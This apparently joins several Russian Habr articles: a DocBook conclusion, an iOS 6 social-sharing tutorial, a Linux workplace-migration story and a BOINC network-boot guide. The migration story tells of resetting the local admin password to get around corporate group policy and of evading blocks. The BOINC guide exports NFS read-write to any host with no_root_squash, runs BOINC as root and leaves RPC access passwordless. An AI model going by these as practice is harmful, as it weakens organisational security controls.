Для работы с DocBook-xsl необходим xslt процессор поддерживающий xslt версию 1.0. (Есть реализация docbook-xsl для версии 2.0, но не знаю на сколько она стабильная). На текущий момент существует множество рабочих решений под самые различные платформы — так что с этим проблем возникнуть не должно. В наших проектах мы используем saxon, правда старую версию — Saxon 9.1.0.8J, так как в последней бесплатной полностью убрана поддержка расширений EXSLT (необходимо для профайлинга документа) и не было уверенности, что расширение saxon для поддержки подсветки синтаксиса которое идет вместе со стилями будет работать в новой.
Для формирования документов из xsl-fo понадобится fo-процессор. Тут дела обстоят немного хуже — из рабочих процессоров лично я пробовал два FOP (opensource) и XEP (RenderX XEP Engine — немного платный). Существуют ещё несколько рабочих fo процессоров, но лично я с ними не пробовал работать и ничего сказать про них не могу.
Главный плюс FOP в том, что он бесплатный, но есть и минус — из «коробки» не поддерживает русский язык. При первом знакомстве с ним, нам так и не удалось заставить его работать с кириллицей. Как ни странно в интернете много статей про это, но все они были или очень старые (где предлагалось пересобрать FOP с нужными шрифтами) или содержали ошибки, которые не позволяли добиться нужного результата. В итоге все оказалось очень просто, но выбор наш уже пал на XEP. XEP прекрасно работает с кириллицей сразу же после установки и в принципе не требует какой-либо дополнительной настройки, но стоит 400$ — причем desktop версия. Различие в качестве рендера судить не берусь, но для интереса можете сравнить сами (в примере имеются файлы собранные обоими fo-процессорами).
##### Настройка стиля оформления
Для качественной настройки стилей необходимо немного знать язык xsl преобразования, а также язык разметки конечного документа. К сожалению, у нас в команде на момент перехода к DocBook такой компетенции не было и поэтому настройка заняла у нас достаточное количество времени — особенно для FO формата. Хотя в сети и существует большое количество сайтов с информацией по этому поводу (особенно ценный на мой взгляд "[DocBook XSL: The Complete Guide](http://www.sagehill.net/docbookxsl/index.html)") получить сразу полную картину очень сложно. Поэтому я решил поступить по принципу — «лучше один раз увидеть, чем сто раз услышать» и подготовил пример стиля для xsl-fo (примерно такого же, какой мы используем у себя в проектах) вместе с исходным текстом данной статьи и настроенным FOP.
Единственный момент, на котором хочу остановится и который по началу может сбить с толку — настройка шрифтов и языка документа. По умолчанию в xsl-fo включаются шрифты которые не поддерживают кириллицу, и если не переопределить эти параметры или допустить в них ошибку (необходимо убедится, что fo-процессор настроен на работу с указанным шрифтами), то на выходе из fo процессора скорее всего получим нечитаемый документ. Язык документа влияет на создание автотекста для названий элементов книги (Глава, Книга и т.п). В принципе настройка только этих параметров уже позволит получить «корректный» документ. Также скорее всего возникнет желание поменять внешний вид титульной страницы документа. Сделать это можно при помощи специально подготовленного в docbook-xsl шаблона. Для этого необходимо определить свой вариант файла "/fo/titlepage.templates.xml" и при помощи xslt процессора и шаблона "/fo/titlepage.templates.xsl" получить настроенный стиль оформления для подключения в «драйвер». В некоторых случаях встроенных механизмов конфигурации не хватает, и тогда приходится уже явно переопределять в драйвере оригинальные стили docbook-xsl.
#### Заключение
Полный переход на DocBook у нас занял достаточно много времени. Во-первых, нужно было привести к нему уже написанную документацию. Тут мы пробовали разные утилиты наподобие AntiWord, но из-за большого количества артефактов было принято решение сделать это вручную (артефакты получались как из-за ошибок форматирования в исходном документе, так и из-за особенностей скриптов перевода). Также много времени отняла у нас разработка собственных стилей оформления, поиск среды для разработки документов (в итоге остановились на NotePad++) и настройки окружения. Казалось простая задача, но при её реализации постоянно натыкались на какие-то проблемы. К сожалению, не так много информации по DocBook, а если говорить о русскоязычном сегменте — то вообще практически нет. Но в итоге мы остались довольны.
С тех пор как наша команда перешла на ведение технической документации в DocBook прошел уже не один год, и мы уже не представляем для себя какой-либо иной вариант. Всего того, что мы хотели добиться переходом на DocBook — мы добились:
* Забыли, что такое конфликты в документации при работе в VCS, даже при использовании GitFlow (с той же оговоркой, что и в начале статьи: сделал изменения — отразил в документации).
* Почти полностью избавились от дублирования одного и того же текста в разных документах. Благодаря профайлингу DocBook получилось сделать документ более гибким, а написание документации менее занудной работой. Тут главное чувство меры, так как через-чур сложная декомпозиция исходного документа сильно усложняет навигацию по нему и последующие редактирование.
* Практически забыли как форматировать документы в Word, а точнее сказать просто забыли как форматировать. Теперь разработка документации — только написание текста документа.
* Большой простор для творчества в плане интеграции в общий процесс разработки ПО.
Естественно кроме плюсов есть и минусы:
* Самая актуальная на текущий момент проблема — это взаимодействие с другими подразделениями компании. По понятным причинам только наша команда перешла на DocBook, все остальные так и используют MS Word, и когда нам нужно произвести взаимообмен данными — то приходится это делать в ручном режиме. Благо это бывает очень редко, и обычно ограничивается парой абзацев текста.
* Сложность реализации некоторых нестандартных для DocBook подходов к форматированию документов, в частности часто встает необходимость развернуть несколько страниц в landscape ориентацию, но вот до сих пор так и не научились этого делать (к нашему стыду) и приходится этот момент обходить как-то по другому. Но я на 100% уверен что такое сделать можно, и по этому нерешенность данной проблемы можно объяснить не столь острой необходимостью. К примеру, когда нам нужно было вставить формулы в документ — на прикрутку MathML ушло менее полудня.
А цель данной статьи в том, чтобы довести до читателей, которые ведут разработку технической документации в офисных программах, что существуют более подходящие инструменты. Для тех же, кто уже какое-то время посматривал в сторону DocBook или DITA, дать некоторый толчок и подсказки для перехода — ведь самое сложное начать! Так же, было бы очень интересно услышать какие подходы приняты в других командах и их опыт внедрения.
Список литературы:
* <http://docbook.sourceforge.net/>
* [DocBook XSL: The Complete Guide](http://www.sagehill.net/docbookxsl/index.html)
* <http://www.docbook.ru/>
Пример:
* [https://github.com/](https://github.com/individym/HabrahabrArticle) | https://habr.com/ru/post/212881/ | null | ru | null |
# Интеграция социальных сетей в iOS 6
На WWDC 2012, которая проходила в июне этого года, среди нововведений был представлен Social framework. Это фреймворк даёт возможность интегрировать кнопки шаринга в социальных сетях быстро и просто. Social framework вытеснил Twitter framework, представленный в iOS 5. Теперь у нас есть возможность интегрировать не только Twitter, но также и Facebook и Weibo (китайский аналог Twitter) в наши приложения без лишних заморочек.
Начнем. Первым делом надо создать новый проект в Xcode, название можно выбрать любое. Тип проекта – Single View Application.
Для начала создадим интерфейс приложения, в нашем случае он будет состоять из окна картинки, формы ввода текста и двух кнопок.
В окне картики будет показываться изображение, которое будет приклепляться к вашему посту, в форме ввода вы сможете ввести ссылку, которой также хотите поделиться, а 2 кнопки будут использоваться для выбора нужной нам социальной сети.
Первым делом откроем ViewController.h и задекларируем UIImageView и UITextField. Нам надо будет еще сделать так, чтобы наш ViewController был делегатом UITextField. Всё это делается очень просто, вот как должен выглядеть код ViewController.h у вас в проекте.
```
#import
@interface ViewController : UIViewController {
UITextField \*textField;
UIImage \*shareImage;
}
@end
```
Теперь можем приступить к самому интересному – созданию интерфейса приложения.
Кстати, не забудьте добавить любое изображение в проект – оно будет прикреплено к вашим постам в социальных сетях.
Откройте ViewController.m и найдите метод viewDidLoad. Он вызывается при загрузке ViewController, поэтому мы будем «добавлять» элементы интерфейса в окно вашего приложения именно там. Вот код, который используется для создания всего интерфейса.
```
- (void)viewDidLoad
{
shareImage = [UIImage imageNamed:[NSString stringWithFormat:@"48X48.jpg"]];
UIImageView *imageView = [[UIImageView alloc]initWithImage:shareImage];
imageView.frame = CGRectMake(138, 40, 48, 48);
[self.view addSubview:imageView];
CGRect textFieldFrame = CGRectMake(20.0f, 100.0f, 280.0f, 31.0f);
textField = [[UITextField alloc] initWithFrame:textFieldFrame];
textField.placeholder = @"Ссылка";
textField.backgroundColor = [UIColor whiteColor];
textField.textColor = [UIColor blackColor];
textField.font = [UIFont systemFontOfSize:14.0f];
textField.borderStyle = UITextBorderStyleRoundedRect;
textField.clearButtonMode = UITextFieldViewModeWhileEditing;
textField.returnKeyType = UIReturnKeyDone;
textField.textAlignment = UITextAlignmentCenter;
textField.contentVerticalAlignment = UIControlContentVerticalAlignmentCenter;
textField.delegate = self;
[self.view addSubview:textField];
UIButton *twitterButton = [UIButton buttonWithType:UIButtonTypeRoundedRect];
[twitterButton addTarget:self
action:@selector(twiShare:)
forControlEvents:UIControlEventTouchDown];
[twitterButton setTitle:@"Share on Twitter" forState:UIControlStateNormal];
twitterButton.frame = CGRectMake(80.0, 170.0, 160.0, 40.0);
[self.view addSubview:twitterButton];
UIButton *facebookButton = [UIButton buttonWithType:UIButtonTypeRoundedRect];
[facebookButton addTarget:self
action:@selector(fbShare:)
forControlEvents:UIControlEventTouchDown];
[facebookButton setTitle:@"Share on Facebook" forState:UIControlStateNormal];
facebookButton.frame = CGRectMake(80.0, 240.0, 160.0, 40.0);
[self.view addSubview:facebookButton];
[super viewDidLoad];
// Do any additional setup after loading the view, typically from a nib.
}
```
Теперь вы можете скомпилировать ваш проект, интерфейс должен выглядеть примерно вот так:
**Большой скриншот интерфейса**
Если вы попробуете нажать любую из кнопок, то приложение упадет. Это произойдет потому, что мы еще не добавили методы twiShare и fbShare, которые вызываются при нажатии на соответствующую ей кнопку. Чтобы это исправить, надо создать эти методы. Делается это вот так:
```
-(void)twiShare:(id)sender{
}
-(void)fbShare:(id)sender{
}
```
Спомпилируйте проект еще раз, теперь программа не должна падать при нажатии на «социальные» кнопки.
При нажатии на окно ввода текста должна появиться клавиатура, но при нажатии на кнопку «Done», клавиатура не закроется. Чтобы это исправить, нам надо добавить метод, отвечающий за закрытие клавиатуры. Делается это вот так:
```
- (BOOL)textFieldShouldReturn:(UITextField *)textField{
[textField resignFirstResponder];
return YES;
}
```
Попробуйте скопмилировать проект заново, теперь клавиатура закроется при нажатии на кнопку «Done».
Интерфейс готов, теперь приступим к самому интересному – настройке шаринга при нажатии на одну из кнопок.
Первым делом надо добавить Social.framework в ваш проект. Откройте папку Frameworks в проекте, нажмите на один из добавленных фреймворков правой кнопкой мыши и выберите «Show in Finder». Теперь должна открыться папка со всеми фреймворками, вам осталось найти и добавить Social.framework в проект.
Не забываем импортировать Social.framework в ViewController, а то приложение будет выдавать ошибки компиляции после добавления функций шаринга к кнопкам. Делается это вот так:
```
#import "Social/Social.h"
```
Теперь нам осталось настроить кнопки шаринга в приложении. В методы twiShare и fbShare добавьте вот этот код:
```
SLComposeViewController *composeController = [SLComposeViewController
composeViewControllerForServiceType:SLServiceTypeTwitter];
[composeController setInitialText:@"Тест твит из iOS 6"];
[composeController addImage:shareImage];
[composeController addURL: [NSURL URLWithString:
[NSString stringWithFormat:@"%@",textField.text]]];
[self presentViewController:composeController
animated:YES completion:nil];
```
.
Теперь при нажатии на кпопки шаринга откроется окно Твиттера. Чтобы при нажатии на кнопку «Share on Facebook» открывалось окно Facebook, вам достаточно поменять SLServiceTypeTwitter на SLServiceTypeFacebook. Вы также можете поменять его на SLServiceTypeSinaWeibo, если вы хотите добавить возможность шаринга в китайском аналоге Твиттера – Weibo.
Попробуйте скомпилировать проект еще раз, теперь все должно работать. Если вы еще не вошли в одну из социальных сетей, то при нажатии на соответствующую кнопку вам будет войти в настройках.
**Большой скриншот предложения входа**
Вот как выглядят стандартные окошки шаринга в Twitter и Facebook:
**Большие скриншоты окон шаринга**
Скачать работающий проект можно [тут](http://cl.ly/3U1t2g0I1739). | https://habr.com/ru/post/159093/ | null | ru | null |
# Свистать всех на Linux, гром и молния
Привет, Хабр! Сегодня я хочу рассказать о собственном опыте перевода рабочего места на Linux. Статья не претендует на 100% охват всех проблем и их решений, но кое-какие рецепты, позволяющие сделать жизнь лучше, тут все же будут. Также в статье будет некоторое количество флешбеков, и если вы хотите окунуться в воспоминания вместе со мной, то прошу под кат.
Вообще этот рассказ (а может и цикл статей, если получится) я сначала хотел озаглавить как «похождения айтишника в недружественной среде».
Потому что если вы работаете в крупном энтерпрайзе, то большая часть сервисов компании рассчитана на то, что вы пользователь windows. А если вы гик-отщепенец на никсах, то в решении проблем корпоративная техподдержка вам вряд ли поможет, хотя уже далеко не [нулевые](https://habr.com/ru/company/itsumma/blog/471518/):
> если ответ на вашу проблему не вылазит на первой странице поисковой выдачи, то все, это конечная. Обращение в ТП за помощью приведет лишь к тому, что они введут вашу проблему в поисковик и зачитают информацию из первой ссылки выдачи
Либо просто вам скажут, что это не реализуемо. Когда я [победил конференции Lync](https://habr.com/ru/post/471434/), обрадованный коллега скинул мне ссылку на тикет в сервисдеске, который он создавал с той же проблемой примерно год назад. Резолюция в тикете была такая, что вы не можете использовать веб-приложение для Lync, потому что у вас ~~спина белая~~ ось не поддерживается. И других вариантов как обойти это недоразумение предложено не было.
#### Disclaimer
> Некоторые считают нас, Темных, злыми. Вот уж нет! Мы просто справедливые. Гордые, независимые и справедливые. И все решаем сами за себя.
Данный текст не преследует цели показать способы обхода запретов.
Статья писалась как иллюстрация, что и на Linux вполне можно существовать в корпоративной среде, хотя и приложив определенные усилия при настройке необходимых для работы программ.
А именно почты и календаря. Потому что по-английски гром это *thunder*, а молния *lightning*.
Если вы связываете пиратский призыв с использованием нелицензионного софта, то это не так.
#### Коралина в стране кошмаров
Сначала небольшое введение, которое поясняет предпосылки для отказа от форточек. Начну с того, что я работаю в своей компании уже больше 10 лет и все изменения, происходящие в IT-экосистеме проходили на моих глазах.
Сперва у нас отобрали права администраторов на компах, что напрочь лишало возможности менять какие-то настройки, требующие повышения привилегий. Но как известно, *на каждую хитрую гайку найдется болт с резьбой* и наш ответ Чемберлену заключался в загрузочной флешке, на которой был установлен Offline NT password changer. При необходимости сделать какие-то действия от администратора я загружался, сбрасывал пароль на свой, заходил на тачку локально (а не в домен) и производил необходимые модификации. Все эти действия были нужны потому что при следующей перезагрузке пароль администратора накатывался обратно групповыми политиками из домена.
Следующим этапом было блокирование ICQ (да времена были еще те), Jabber и социальных сетей. С мессенжерами было проще — достаточно было сменить порты на SSL и включить шифрование. А вот с соцсетями пришлось попрощаться, что сделало жизнь немного более унылой. Хотя на работе вообще я использовал только плагин сообщений для QIP Infium, чтобы не пропускать сообщения из vk, а не просиживал в новостной ленте (которой тогда еще вроде и не было). Вкупе с блокированием соцсетей потом была запущена еще блокировка «развлекательного и запрещенного контента», которая до кучи еще и блокирует иногда полезные ресурсы. Один мой коллега долгое время воевал со сборкой одного java-проекта, как оказалось, проблема заключалась в блокировании в корп.сети необходимых maven-репозиториев. В запрещенные попали всякие облачные сервисы (гугл диск, документы, яндекс облако и т.д.) и файловые обменники.
В какой-то момент в rdp-сессиях был заблокирован буфер обмена, а в корпоративном vpn — возможность открывать сетевые шары на рабочем пк. Копирование файлов стало сильно сложнее — только через флешку. Но потом мы лишились и этого — usb порты на компах хотя и не были заварены физически, но работали только как зарядное устройство для телефонов, любая вставленная флешка блокировалась антивирусом.
Ну и финальным штрихом, который переполнил чашу терпения, стало ограничение запуска программ только из «разрешенных мест». За годы работы мной был накоплен багаж из различного полезного софта (который жил на отдельном от системного разделе в силу того, что его обычно не нужно было устанавливать, а достаточно просто скопировать): пакеры\анпакеры, редакторы ресурсов, hex-редакторы, PE-редакторы, отладчики\трассировщики, целый пак утилит с канувшего в лету сайта sysinternals, декомпиляторы (например DeDe для Delphi, JAD для java, ILspy для дотнета) и т.д.
> Не то чтобы это был необходимый набор для работы, но если уж начал заниматься программированием, то потом сложно остановиться.
Пользователи вообще очень болезненно воспринимают разного рода ограничения, которые делаются «для их же блага». И я, конечно, не был исключением.
> Они украли, украли её у нас, нашу прелесссть
И я стал готовить план ~~отступления~~ перевода рабочего места на Linux.
#### Все станет по-другому, когда я стану богом
*Ария Рейстлина Маджере (мюзикл «Последнее Испытание»).*
Привлекательность Linux заключалась в том, что ты сам себе хозяин. Сам ставишь какие надо программы, сам управляешь всем, чем нужно. Но и как уже было сказано ранее, все возникающие проблемы решаешь тоже сам. Но благо сейчас уже давно не нулевые, и большая часть проблем какие могут возникнуть уже описаны и решения есть либо тут на Хабре, либо в тематических форумах на других ресурсах.
Какие еще плюсы(жирные) я приобрел:
* native ssh (я много работаю в консоли с серверами и это прямо ну очень порадовало)
* native shell (до того я использовал cygwin окружение под виндоус для исполнения башевых скриптов или скриптов на перл)
* native python и fabric (вытекает из 1 пункта, для массовой обработки списка серверов фреймворк облегчает рутинные задачи значительно). Для работы фабрики внутри cygwin был собран франкенштейн в виде ssh-агента, который берет ключ, общаясь с putty agent(который уже сидит в памяти), и передает его линукс подсистеме как если бы ключ был загружен в родной ssh-агент.
* native git (работа в гите под windows это боль. хоть в cygwin, хоть внутри его собственного git bash внутри msys окружения)
#### Как перейти на Linux и ~~перестать ныть~~ начать жить
В свое время при тестировании подсистемы VDI от отдела windows-администрирования(назовем это так) приходил опрос о возможности перевода отдела разработки на Linux. В виду того что мы самые для этого подходящие «морские свинки». И в опросе были пункты «да, я готов, но мне потребуется помощь» и «да, я готов перейти и помощь мне не нужна». Ну я и выбрал мигрировать сам.
Установка Linux на рабочую тачку не была чем-то экстра-сложным. Заранее дома была подготовлена загрузочная флешка с Live-образом необходимого дистрибутива, выбран был Linux Mint (последней на момент написания версии 19.2) по совету уже работающих коллег из отдела серверного администрирования.
На попытку загрузиться с флешки комп никак не отреагировал, т.к. на пк был включен quick boot и вместо диагностических сообщений (где я надеялся увидеть сочетание для входа в BIOS) начинал сразу грузить винду. Беглое гугление по наименованию модели nettop вывело на клавиши для входа в BIOS и для входа в boot menu. И при входе в BIOS меня поджидал первый сюрприз — окно ввода пароля. Если отказаться вводить пароль по Esc, то настройки было можно только смотреть. Мда, вот тебе бабушка и Юрьев день. Хотя поменять boot sequence мне не удалось, но оставалась призрачная надежда на вход в boot menu. И точно, по F8 можно было выбрать устройство с какого грузиться.
Грузимся с флешки, запускаем инсталл, далее следуем указаниям мастера установки. Из совершенных косяков был только 1 — при разбивке диска он мне любезно сообщил, что у меня не создан раздел для UEFI загрузчика и возможно я не смогу загрузиться потом после установки, на что я ему сказал: «да, создавай, ты же лучше меня все знаешь». И этот выбор потом мне стоил кровавых слез и некоторого количества потраченных нервов, потому что при загрузке у меня был теперь только Linux. Позднее опытным путем я выяснил, что могу загрузиться обратно в винду с помощью моей той самой незаменимой загрузочной флешки, на которой стоит GRUB (там имеется пункт поиска bootmgr на всех разделах и передачи ему управления в случае обнаружения). Но скажу честно, с момента перехода на темную сторону необходимости пока такой не возникало.
#### Грохочет гром, сверкает молния в ночи
> а на холме стоит безумец и кричит
>
> сейчас поймаю тебя в сумку и сверкать ты будешь в ней
>
> мне так хочется чтоб стала ты моей
Первым делом после установки системы мне нужно было настроить почту.
Посмотрев на веб-почту, для себя я решил что OWA уныл чуть более чем полностью.
> Мой OWA кошмарит вообще адовые сценарии.
>
> Ну такой вот примерно сценарий усредненный, потому что вариаций масса.
>
> Берется почта, она не проверяется, проверять — это не про моего OWA.
>
> Он берет все письма, вываливает их в inbox и начинает фильтровать.
>
> Добавляет огромное количество приглашений на встречи, вложений, пропущенных сообщений Lync.
>
> Полушепотом приговаривая «ух бл..», при этом у него на лбу аж пот выступает.
>
> При попытке добавить новые правила фильтрации любезно предлагает мне отключить что-то из существующих, на что я отказываюсь.
>
> Надо ли говорить какой дичайший бардак потом в почте.
>
>
И в качестве почтового клиента было решено использовать Thunderbird. Не буду приводить тут всю настройку, благо примеров полно и тут на Хабре, и вообще в интернете. Отмечу только некоторые моменты.
При подключении почтового ящика по IMAP по умолчанию не отображаются папки. Чтобы папки стали отображаться, на них нужно подписаться. Но мне не удалось сделать отображение иерархии (у меня в ящике настроена довольно разветвленная структура папок куда письма сортируются фильтрами). Максимум что получилось сделать — это отображение непосредственных детишек для Inbox. Что удручало.
Как-то раз, блуждая по корпоративной wiki, я обнаружил статью про то, что у нас поднят шлюз DavMail. Это шлюз, который является *смычкой города с деревней* и позволяет работать с серверами Exchange для не-windows машин. Попробовал подключить IMAP через него и о чудо, у меня отобразились сразу все папки с иерархией как они были созданы раньше. С одной задачей было покончено. Следующей задачей была настройка адресной книги с подсказками адресов при вводе. В громоптице адресная книга настраивается как ldap directory, и я ее подключил тоже сперва через DavMail шлюз, но потом выяснилось что в этом есть и свои минусы(об этом далее).
#### Заводит молния меня, как жаль что я ее не смог
Ну и финальный штрих к настройке почты — это календарь\органайзер, чтобы управлять приглашениями на встречи и планировать свой день. В последних версиях дополнение Lightning идет сразу предустановленное, но требуется его настройка. DavMail экспортирует календари Exchange в формате CalDav, первым делом я подключил этот вид календаря. И сразу обнаружил минусы в его работе: входящие приглашения в календарь добавляются, но я не могу добавить потом еще в то же мероприятие людей (форварднуть приглашение на митинг), если я не являюсь организатором. Я испробовал много разных вариантов и единственное, что тут удалось сделать, это поставить дополнение SFOA, которое добавляет возможность скачать из письма само приглашение в виде ics файла, который я потом пересылал другим людям. Мда, не очень-то удобно. А потом я нашел в сети дополнение для работы сразу с календарями Exchange напрямую. Оно отсутствует в магазине дополнений и может быть только установлено из файла (ссылка на гитхаб в конце статьи). При установке дополнения календарь стал работать почти как в Outlook, по крайней мере я смог нормально форвардить встречи как это было мне надо, т.е. без лишних телодвижений.
#### Ну кому нужны книжки без картинок
Говорила Алиса в произведении Льюиса Кэррола.
И я с ней в некоторой степени согласен. Особенно, если это адресная книга в вашей почте. Пока я пользовался оутлуком, я обычно проверял кому я отправляю почту по изображениям адресата, которые там показывались во всплывающем тултипе при наведении на адрес. Сразу из коробки в громоптице нет возможности показывать аватары, но в магазине есть дополнение под названием *Awesome LdapInfoShow*, которое позволяет добавить эти красивости. В информации к дополнению указано, что изображение берется из пары атрибутов в ldap директории (которая используется как адресная книга в настройках thunderbird), но у меня он упорно выводил сообщение *no ldap server available*.
> Будь проклят тот день когда я сел за баранку этого пылесоса!
Для выяснения причин, почему он это выводит, мне пришлось опять залезать в код (я скачал репозиторий с гитхаба автора). Если работаешь с опенсорсом, то в этом есть и свои плюсы тоже. Причина оказалась в принципе простая, но об этом можно было и написать в инструкции по настройке. При попытке получения фотографии адресата дополнение проверяет, что почтовый домен адреса совпадает с доменом ldap сервера в адресной книге (а у меня там было прописано по ип), либо что он совпадает с логическим именем ldap директории. Я исправил логическое имя, т.к. адреса ldap каталогов в компании находятся во внутреннем домене и не совпадают с доменом почты.
Но если вы думаете, что исправление настроек дополнения сразу дало мне аватары адресатов, то вы ошибаетесь. Сообщение недоступности сервера пропало, но места под аватары оставались в письмах пустыми. И тут я решил посмотреть, что мне возвращает сервер с адресной книгой. Для работы с ldap в графическом интерфейсе есть JXplorer (завести LdapAdmin, к которому я привык, через wine мне не удалось, различные статьи на форумах говорили про несовместимость реализации winldap32.dll у вайна с другими windows-приложениями). И что же я увидел — в атрибутах адресной книги, выдаваемой шлюзом DavMail, нет атрибутов с картинками, которые я видел, если просто подключиться к контроллеру домена. Пришлось поменять адресную книгу на прямое подключение в контроллер домена, но при этом и подкорректировать запрос, которым клиент делает запрос поиска адресов (и который используется для репликации адресной книги локально в файл).
А как приятный бонус кроме самих аватаров дополнение показывает еще во всплывающем тултипе при наведении на адрес еще и доп. информацию о человеке. Настраивается вывод наименования должности, департамента, телефонов (рабочего и сотового), ну и в принципе любой информации какую можно достать из атрибутов ldap по контакту. В такой конфигурации thunderbird не отличается практически от оутлука, а на мой взгляд так еще и превосходит его по функциональным возможностям.
#### В хрустальном шаре ты видишь этот мир
После настройки программ на рабочей машине встал вопрос настройки удаленных сеансов.
В силу ограничений офисного файрвола vnc использовать было нельзя т.к. порт 5900 был закрыт, а проверять другие какие доступны было лениво. Коллеги подсказали, что можно использовать xrdp, который работает на стандартом rdp порте и подключаться к нему можно с любого клиента: хоть на windows машинах, хоть на Linux. Но как выяснилось не все так безоблачно. При попытке входа в rdp я видел только черный экран после ввода своих учетных данных в окне авторизации. Каким-то чудом на форуме минта был обнаружен рецепт для исправления этой ситуации, привожу его тут, может кому пригодится тоже (я использую оконный менеджер xfce, поэтому и рецепт соответствующий, можно заменить на любой другой какой вы используете у себя):
```
echo "env -u SESSION_MANAGER -u DBUS_SESSION_BUS_ADDRESS xfce4-session" > ~/.xsession
```
При запуске менеджера сессий очищаются 2 переменные окружения, что делает возможность удаленного входа без отключения уже существующих на пк локальных сеансов.
После настройки самого удаленного входа встал вопрос настройки клавиатурных раскладок в удаленных сеансах. Всякий раз мне приходилось их настраивать заново, когда я обнаружил вот этот [гайд](https://habr.com/ru/post/329066/). Спасибо, 2 чая этому господину. После настройки rdp я до кучи настроил себе еще и sshd и получил возможность пробрасывать иксы прямо с рабочей тачки на домашний пк. В некоторых случаях это удобнее, чем запускать rdp.
Возможно со временем в «похождениях айтишника» добавится еще глав, а пока спасибо за внимание и до новых встреч.
Ссылки:
— [Exchange Calendar (Thunderbird extension)](https://github.com/ExchangeCalendar/exchangecalendar/releases)
— [настройка xrdp](https://habr.com/ru/post/329066/)
— [моя статья по настройке конференций Lync](https://habr.com/ru/post/471434/)
Список цитат:
1. С. Лукьяненко «Дневной Дозор»
2. Страх и ненависть в Лас-Вегасе (изменено)
3. Дж. Толкиен «Властелин Колец»
4. Антон Круглов «Последнее Испытание» (мюзикл, персонаж Рейстлин Маджере)
5. Король и Шут «Дурак и молния»
6. Жареный суп (изменено)
7. Агата Кристи «Ни там, ни тут»
8. Льюис Кэррол «Алиса в стране чудес»
9. Кавказская пленница
10. Ария «Отшельник»
11. Ария «Игра с огнем» | https://habr.com/ru/post/472144/ | null | ru | null |
# Как быстро запустить добровольные распределённые вычисления на сотне машин
Работая в ИТ-подразделении, я постоянно наблюдаю простаивающие по разным организационным причинам компьютеры, которые очень скучают. Золотые времена майнинга биткойнов на CPU прошли, и в поисках нового полезного дела я пришёл к добровольным распределённым вычислениям, в частности, к [World Community Grid](http://www.worldcommunitygrid.org/). Первым делом поиском лекарства от рака были озадачены сервер из холодного резерва и виртуальная машина с низким приоритетом на кластере виртуализации. Сложнее с рабочими станциями, они постоянно приходят и уходят, на каждой устанавливать, настраивать, а потом удалять BOINC долго и нетехнологично.
Решено было собрать live-дистрибутив с вшитым BOINC'ом и раздавать его по сети. Включил компьютер, нажал F12, выбрал нужный пункт — и уже приносишь пользу человечеству!
Платформой был выбран Debian, который а) давно знаком и б) обладает [замечательным мануалом](http://live.debian.net/manual/stable/html/live-manual.en.html) на нужную тему. Тем не менее, без граблей не обошлось, а в данном случае почти каждые новые грабли обозначают достаточно длительную пересборку образа. Надеюсь, этот пост сэкономит некоторое количество админского времени, а заодно напомнит о существовании такого замечательного проекта, как WCG.
Заметьте, делалось всё в весьма закрытой среде, и безопасности понадобилось уделить совсем немного внимания. Возможно, в вашем случае над безопасностью нужно будет дополнительно поработать.
#### Подготовка
Система состоит вот из чего:
1. Сервер сетевой загрузки.
2. NFS-сервер
3. Сборочная станция
У меня 2 и 3 — одна машина.
**1. Сервер сетевой загрузки.** У меня всё уже было готово, настроенные TFTP и DHCP у меня остались от проекта по тонким клиентам. Если у вас нет, то поднять новый несложно. В двух словах, устанавливаем и запускаем tftpd-hpa, а в DHCP указываем параметры 66 и 67. Только не давайте загружаться по сети кому попало (в моём случае это курсанты), это может быть опасно. Кроме BIOS, запаролить можно часть загрузочного меню TFTP-сервера.
**2. NFS-сервер.** Во-первых, BOINC должен иметь возможность в процессе работы сохранять свои данные. Предполагается, что локальный жёсткий диск трогать нельзя, поэтому по NFS разрешим писать в директорию, например, `/srv/boinc-nfs`. Здесь каждый компьютер будет создавать поддиректорию с именем, совпадающим с его MAC-адресом. Во-вторых, в директории `/srv/debian-live` будет лежать корневая ФС для сетевой загрузки. Итак:
```
mkdir /srv/debian-live
mkdir /srv/boinc-nfs
chown nobody:nogroup /srv/boinc-nfs
chmod 755 /srv/boinc-nfs
```
В `/etc/exports` дописываем:
```
/srv/boinc-nfs *(rw,sync,no_root_squash,no_subtree_check)
/srv/debian-live *(ro,async,no_root_squash,no_subtree_check)
```
после чего перезапускаем сервис (почему-то рекомендуемый `exportfs -rv` мне результата не дал):
```
/etc/init.d/nfs-kernel-server restart
```
**3. Сборочная станция.** Это просто виртуальная машина с обычным Debian Wheezy. Установлен пакет `live-build`, который и будет делать основную работу. Здесь должен быть интернет.
#### Процесс сборки
Отправляемся на сборочную станцию.
```
mkdir /srv/live-default && cd /srv/live-default
```
Создаём базовый конфиг для нашего дистрибутива, указав адрес NFS-сервера:
```
lb config -b netboot --net-root-path "/srv/debian-live" --net-root-server "192.168.15.20"
```
Формируется некоторое дерево директорий, располагая в них разный контент можно кастомизировать свою сборку. Мы добавим следующее:
1. `config/package-lists/boinc.list` — список пакетов, которые понадобятся в нашей сборке. Пишем в него:
```
boinc-client
nfs-common
```
2. `config/includes.chroot/etc/init.d/boinc-preps` — init-скрипт, который будет монтировать NFS, настраивать BOINC и менять hostname ([возможно](http://boinc.berkeley.edu/wiki/Host_identification_and_merging), одинаковые хостнеймы мешают WCG идентифицировать компьютер, с ними у меня многие задания переходили в состояние detached). В этот скрипт нужно вставить адрес своего NFS и адреса хостов, с которых будет разрешено беспарольное управление. Содержимое скрипта:
```
#!/bin/bash
### BEGIN INIT INFO
# Provides: boinc-preps
# Required-Start: nfs-common
# Required-Stop:
# Should-Start:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Various stuff for BOINC
# Description: Various stuff for BOINC
### END INIT INFO
PATH=/sbin:/usr/sbin:/bin:/usr/bin
. /lib/init/vars.sh
do_start () {
MYMAC=`ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}' | sed s/://g`
ancien=`hostname`
nouveau=DYNWCG-$MYMAC
mkdir -p /mnt/boinc-nfs
mount 192.168.15.20:/srv/boinc-nfs /mnt/boinc-nfs && mkdir -p /mnt/boinc-nfs/$MYMAC
service boinc stop
sed -i "s/^BOINC_DIR=.*/BOINC_DIR=\/mnt\/boinc-nfs\/$MYMAC/;s/^BOINC_USER=.*/BOINC_USER=\"root\"/" /etc/default/boinc-client
echo "192.168.10.60" > /mnt/boinc-nfs/$MYMAC/remote_hosts.cfg
echo "192.168.10.61" >> /mnt/boinc-nfs/$MYMAC/remote_hosts.cfg
echo "" >> /mnt/boinc-nfs/$MYMAC/gui_rpc_auth.cfg
for file in \
/etc/hostname \
/etc/hosts
# сюда можно добавить
